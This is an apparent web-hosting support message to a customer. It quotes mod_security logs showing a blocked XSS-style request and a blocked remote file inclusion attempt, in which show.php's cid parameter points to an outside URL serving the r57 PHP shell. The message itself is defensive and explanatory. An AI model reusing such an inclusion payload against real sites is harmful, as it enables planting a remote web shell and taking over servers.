Hello Sam,
I was looking at error logs for your domain and following was what I found in the error logs :-
[Thu Jul 5 17:58:39 2007] [error] [client 24.243.134.17] mod_security: Access denied with redirect to [/]. Pattern match "<(.|\\\\n)+>" at REQUEST_URI [id "XSS_Check"] [severity "EMERGENCY"] [hostname "www.cowjam.co.uk"] [uri "/arct/alarmed.jpg\\"%20/><br><br><br><img%20src=\\"http://www.cowjam.co.uk/arct/hat.gif"]
[Sun Jul 8 03:09:47 2007] [error] [client 189.0.234.84] mod_security: Access denied with redirect to [/]. Pattern match "r57" at REQUEST_URI [severity "EMERGENCY"] [hostname "www.cowjam.co.uk"] [uri "
/show.php?cid=http://no.spam.ee/~tonu/phpshell/r57shell.txt?"]
Text highlighted by me in second message is something which shows vulnerability in code of show.php code as someone tried to upload a shell script on the server using your show.php script and mod_security blocked that query from getting executed.
You need to upgrade your photo gallery installation as it is highly insecure and disabling mod_security for your account will surely get your
website hosting hacked within a day.
Please contact our support team from
http://support.eukhost.com and have them to upgrade your installation but don't disable mod_security at any cost.